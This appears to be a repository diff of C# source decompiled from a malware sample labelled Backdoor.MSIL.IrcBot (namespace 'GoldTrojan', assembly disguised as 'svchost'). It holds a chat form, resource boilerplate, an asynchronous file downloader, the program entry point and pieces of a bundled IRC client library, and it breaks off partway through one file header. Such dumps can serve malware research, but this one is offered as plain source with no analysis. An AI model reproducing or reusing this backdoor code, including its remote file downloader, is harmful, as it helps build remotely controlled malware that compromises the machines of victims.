return "[" + Convert.ToString(now.Hour) + ":" + Convert.ToString(now.Minute) + "]";
}
public void Dane(string nickser, string nickofiary)
{
this.nicks = nickser;
this.nicko = nickofiary;
}
private void Odswiez()
{
this.txtOutput.SelectionStart = this.txtOutput.Text.Length;
this.txtOutput.ScrollToCaret();
this.txtOutput.Refresh();
}
private void button1_Click(object sender, EventArgs e)
{
string str1 = this.nicko + ": " + this.godzina() + Environment.NewLine + this.txtInput.Text + Environment.NewLine;
string str2 = this.godzina() + " " + this.txtInput.Text;
Chat chat = this;
chat.txt = chat.txt + str2 + " ";
this.txtOutput.Text += str1;
this.Odswiez();
this.txtInput.Text = "";
}
private void Chat_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode != Keys.Return)
return;
this.button1_Click(sender, (EventArgs) e);
}
private void txtInput_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode != Keys.Return)
return;
this.button1_Click(sender, (EventArgs) e);
}
private void Chat_FormClosing(object sender, FormClosingEventArgs e) => new Chat().Hide();
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.button1 = new Button();
this.txtInput = new TextBox();
this.txtOutput = new TextBox();
this.SuspendLayout();
this.button1.AllowDrop = true;
this.button1.Location = new Point(12, 231);
this.button1.Name = "button1";
this.button1.Size = new Size(268, 23);
this.button1.TabIndex = 4;
this.button1.Text = "Wyślij";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new EventHandler(this.button1_Click);
this.txtInput.AllowDrop = true;
this.txtInput.Location = new Point(12, 205);
this.txtInput.Name = "txtInput";
this.txtInput.Size = new Size(268, 20);
this.txtInput.TabIndex = 3;
this.txtInput.KeyDown += new KeyEventHandler(this.txtInput_KeyDown);
this.txtOutput.AllowDrop = true;
this.txtOutput.Location = new Point(12, 12);
this.txtOutput.Multiline = true;
this.txtOutput.Name = "txtOutput";
this.txtOutput.ReadOnly = true;
this.txtOutput.ScrollBars = ScrollBars.Vertical;
this.txtOutput.Size = new Size(268, 176);
this.txtOutput.TabIndex = 5;
this.txtOutput.WordWrap = false;
this.AllowDrop = true;
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(292, 266);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.txtInput);
this.Controls.Add((Control) this.txtOutput);
this.Name = nameof (Chat);
this.ShowInTaskbar = false;
this.Text = nameof (Chat);
this.FormClosing += new FormClosingEventHandler(this.Chat_FormClosing);
this.KeyDown += new KeyEventHandler(this.Chat_KeyDown);
this.ResumeLayout(false);
this.PerformLayout();
}
}
}

View File

@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

View File

@ -0,0 +1,152 @@
// Decompiled with JetBrains decompiler
// Type: GoldTrojan.DownloadData
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.IO;
using System.Net;
namespace GoldTrojan
{
internal class DownloadData
{
private WebResponse response;
private Stream stream;
private long size;
private long start;
private IWebProxy proxy;
public static DownloadData Create(string url, string destFolder) => DownloadData.Create(url, destFolder, (IWebProxy) null);
public static DownloadData Create(string url, string destFolder, IWebProxy proxy)
{
DownloadData downloadData = new DownloadData();
downloadData.proxy = proxy;
long fileSize = downloadData.GetFileSize(url);
downloadData.size = fileSize;
WebRequest request1 = downloadData.GetRequest(url);
try
{
downloadData.response = request1.GetResponse();
}
catch (Exception ex)
{
throw new ArgumentException(string.Format("Error downloading \"{0}\": {1}", (object) url, (object) ex.Message), ex);
}
DownloadData.ValidateResponse(downloadData.response, url);
string fileName = Path.GetFileName(downloadData.response.ResponseUri.ToString());
string str = Path.Combine(destFolder, fileName);
if (!downloadData.IsProgressKnown && System.IO.File.Exists(str))
System.IO.File.Delete(str);
if (downloadData.IsProgressKnown && System.IO.File.Exists(str))
{
if (!(downloadData.Response is HttpWebResponse))
{
System.IO.File.Delete(str);
}
else
{
downloadData.start = new FileInfo(str).Length;
if (downloadData.start > fileSize)
System.IO.File.Delete(str);
else if (downloadData.start < fileSize)
{
downloadData.response.Close();
WebRequest request2 = downloadData.GetRequest(url);
((HttpWebRequest) request2).AddRange((int) downloadData.start);
downloadData.response = request2.GetResponse();
if (((HttpWebResponse) downloadData.Response).StatusCode != HttpStatusCode.PartialContent)
{
System.IO.File.Delete(str);
downloadData.start = 0L;
}
}
}
}
return downloadData;
}
private DownloadData()
{
}
private DownloadData(WebResponse response, long size, long start)
{
this.response = response;
this.size = size;
this.start = start;
this.stream = (Stream) null;
}
private static void ValidateResponse(WebResponse response, string url)
{
switch (response)
{
case HttpWebResponse _:
HttpWebResponse httpWebResponse = (HttpWebResponse) response;
if (!httpWebResponse.ContentType.Contains("text/html") && httpWebResponse.StatusCode != HttpStatusCode.NotFound)
break;
throw new ArgumentException(string.Format("Could not download \"{0}\" - a web page was returned from the web server.", (object) url));
case FtpWebResponse _:
if (((FtpWebResponse) response).StatusCode != FtpStatusCode.ConnectionClosed)
break;
throw new ArgumentException(string.Format("Could not download \"{0}\" - FTP server closed the connection.", (object) url));
}
}
private long GetFileSize(string url)
{
WebResponse webResponse = (WebResponse) null;
try
{
webResponse = this.GetRequest(url).GetResponse();
return webResponse.ContentLength;
}
finally
{
webResponse?.Close();
}
}
private WebRequest GetRequest(string url)
{
WebRequest request = WebRequest.Create(url);
if (request is HttpWebRequest)
{
request.Credentials = CredentialCache.DefaultCredentials;
request.Proxy.GetProxy(new Uri("http://www.google.com"));
}
if (this.proxy != null)
request.Proxy = this.proxy;
return request;
}
public void Close() => this.response.Close();
public WebResponse Response
{
get => this.response;
set => this.response = value;
}
public Stream DownloadStream
{
get
{
if (this.start == this.size)
return Stream.Null;
if (this.stream == null)
this.stream = this.response.GetResponseStream();
return this.stream;
}
}
public long FileSize => this.size;
public long StartPoint => this.start;
public bool IsProgressKnown => this.size > -1L;
}
}

View File

@ -0,0 +1,49 @@
// Decompiled with JetBrains decompiler
// Type: GoldTrojan.DownloadEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
namespace GoldTrojan
{
public class DownloadEventArgs : EventArgs
{
private int percentDone;
private string downloadState;
private long totalFileSize;
private long currentFileSize;
public long TotalFileSize
{
get => this.totalFileSize;
set => this.totalFileSize = value;
}
public long CurrentFileSize
{
get => this.currentFileSize;
set => this.currentFileSize = value;
}
public DownloadEventArgs(long totalFileSize, long currentFileSize)
{
this.totalFileSize = totalFileSize;
this.currentFileSize = currentFileSize;
this.percentDone = (int) ((double) currentFileSize / (double) totalFileSize * 100.0);
}
public DownloadEventArgs(string state) => this.downloadState = state;
public DownloadEventArgs(int percentDone, string state)
{
this.percentDone = percentDone;
this.downloadState = state;
}
public int PercentDone => this.percentDone;
public string DownloadState => this.downloadState;
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: GoldTrojan.DownloadProgressHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace GoldTrojan
{
public delegate void DownloadProgressHandler(object sender, DownloadEventArgs e);
}

View File

@ -0,0 +1,184 @@
// Decompiled with JetBrains decompiler
// Type: GoldTrojan.FileDownloader
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Threading;
namespace GoldTrojan
{
public class FileDownloader
{
private const int downloadBlockSize = 1024;
private bool canceled;
private string downloadingTo;
private IWebProxy proxy;
public string DownloadingTo => this.downloadingTo;
public void Cancel() => this.canceled = true;
public event DownloadProgressHandler ProgressChanged;
public IWebProxy Proxy
{
get => this.proxy;
set => this.proxy = value;
}
public event EventHandler DownloadComplete;
private void OnDownloadComplete()
{
if (this.DownloadComplete == null)
return;
this.DownloadComplete((object) this, new EventArgs());
}
public void Download(string url) => this.Download(url, "");
public void Download(string url, string destFolder)
{
DownloadData downloadData = (DownloadData) null;
this.canceled = false;
try
{
downloadData = DownloadData.Create(url, destFolder, this.proxy);
string fileName = Path.GetFileName(downloadData.Response.ResponseUri.ToString());
destFolder = destFolder.Replace("file:///", "").Replace("file://", "");
this.downloadingTo = Path.Combine(destFolder, fileName);
if (!System.IO.File.Exists(this.downloadingTo))
System.IO.File.Create(this.downloadingTo).Close();
byte[] buffer = new byte[1024];
long startPoint = downloadData.StartPoint;
bool flag = false;
int count;
while ((count = downloadData.DownloadStream.Read(buffer, 0, 1024)) > 0)
{
if (this.canceled)
{
flag = true;
downloadData.Close();
break;
}
startPoint += (long) count;
this.SaveToFile(buffer, count, this.downloadingTo);
if (downloadData.IsProgressKnown)
this.RaiseProgressChanged(startPoint, downloadData.FileSize);
if (this.canceled)
{
flag = true;
downloadData.Close();
break;
}
}
if (flag)
return;
this.OnDownloadComplete();
}
catch (UriFormatException ex)
{
throw new ArgumentException(string.Format("Could not parse the URL \"{0}\" - it's either malformed or is an unknown protocol.", (object) url), (Exception) ex);
}
finally
{
downloadData?.Close();
}
}
public void Download(List<string> urlList) => this.Download(urlList, "");
public void Download(List<string> urlList, string destFolder)
{
if (urlList == null)
throw new ArgumentException("Url list not specified.");
if (urlList.Count == 0)
throw new ArgumentException("Url list empty.");
Exception exception = (Exception) null;
foreach (string url in urlList)
{
exception = (Exception) null;
try
{
this.Download(url, destFolder);
}
catch (Exception ex)
{
exception = ex;
}
if (exception == null)
break;
}
if (exception != null)
throw exception;
}
public void AsyncDownload(string url) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new string[2]
{
url,
""
});
public void AsyncDownload(string url, string destFolder) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new string[2]
{
url,
destFolder
});
public void AsyncDownload(List<string> urlList, string destFolder) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new object[2]
{
(object) urlList,
(object) destFolder
});
public void AsyncDownload(List<string> urlList) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new object[2]
{
(object) urlList,
(object) ""
});
private void WaitCallbackMethod(object data)
{
if (data is string[])
{
string[] strArray = data as string[];
this.Download(strArray[0], strArray[1]);
}
else
{
object[] objArray = data as object[];
this.Download(objArray[0] as List<string>, objArray[1] as string);
}
}
private void SaveToFile(byte[] buffer, int count, string fileName)
{
FileStream fileStream = (FileStream) null;
try
{
fileStream = System.IO.File.Open(fileName, FileMode.Append, FileAccess.Write);
fileStream.Write(buffer, 0, count);
}
catch (ArgumentException ex)
{
throw new ArgumentException(string.Format("Error trying to save file \"{0}\": {1}", (object) fileName, (object) ex.Message), (Exception) ex);
}
finally
{
fileStream?.Close();
}
}
private void RaiseProgressChanged(long current, long target)
{
if (this.ProgressChanged == null)
return;
this.ProgressChanged((object) this, new DownloadEventArgs(target, current));
}
}
}

View File

@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

View File

@ -0,0 +1,22 @@
// Decompiled with JetBrains decompiler
// Type: GoldTrojan.Program
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Windows.Forms;
namespace GoldTrojan
{
internal static class Program
{
[STAThread]
private static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run((Form) new Form1());
}
}
}

View File

@ -0,0 +1,46 @@
// Decompiled with JetBrains decompiler
// Type: GoldTrojan.Properties.Resources
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace GoldTrojan.Properties
{
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
[CompilerGenerated]
[DebuggerNonUserCode]
internal class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
internal Resources()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (GoldTrojan.Properties.Resources.resourceMan == null)
GoldTrojan.Properties.Resources.resourceMan = new ResourceManager("GoldTrojan.Properties.Resources", typeof (GoldTrojan.Properties.Resources).Assembly);
return GoldTrojan.Properties.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => GoldTrojan.Properties.Resources.resourceCulture;
set => GoldTrojan.Properties.Resources.resourceCulture = value;
}
}
}

View File

@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

View File

@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: GoldTrojan.Properties.Settings
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System.CodeDom.Compiler;
using System.Configuration;
using System.Runtime.CompilerServices;
namespace GoldTrojan.Properties
{
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
[CompilerGenerated]
internal sealed class Settings : ApplicationSettingsBase
{
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
public static Settings Default => Settings.defaultInstance;
}
}

View File

@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ActionEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class ActionEventArgs : CtcpEventArgs
{
private string _ActionMessage;
public string ActionMessage => this._ActionMessage;
internal ActionEventArgs(IrcMessageData data, string actionmsg)
: base(data, "ACTION", actionmsg)
{
this._ActionMessage = actionmsg;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ActionEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void ActionEventHandler(object sender, ActionEventArgs e);
}

View File

@ -0,0 +1,34 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.AlreadyConnectedException
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Runtime.Serialization;
namespace Meebey.SmartIrc4net
{
[Serializable]
public class AlreadyConnectedException : ConnectionException
{
public AlreadyConnectedException()
{
}
public AlreadyConnectedException(string message)
: base(message)
{
}
public AlreadyConnectedException(string message, Exception e)
: base(message, e)
{
}
protected AlreadyConnectedException(SerializationInfo info, StreamingContext context)
: base(info, context)
{
}
}
}

View File

@ -0,0 +1,30 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.AutoConnectErrorEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
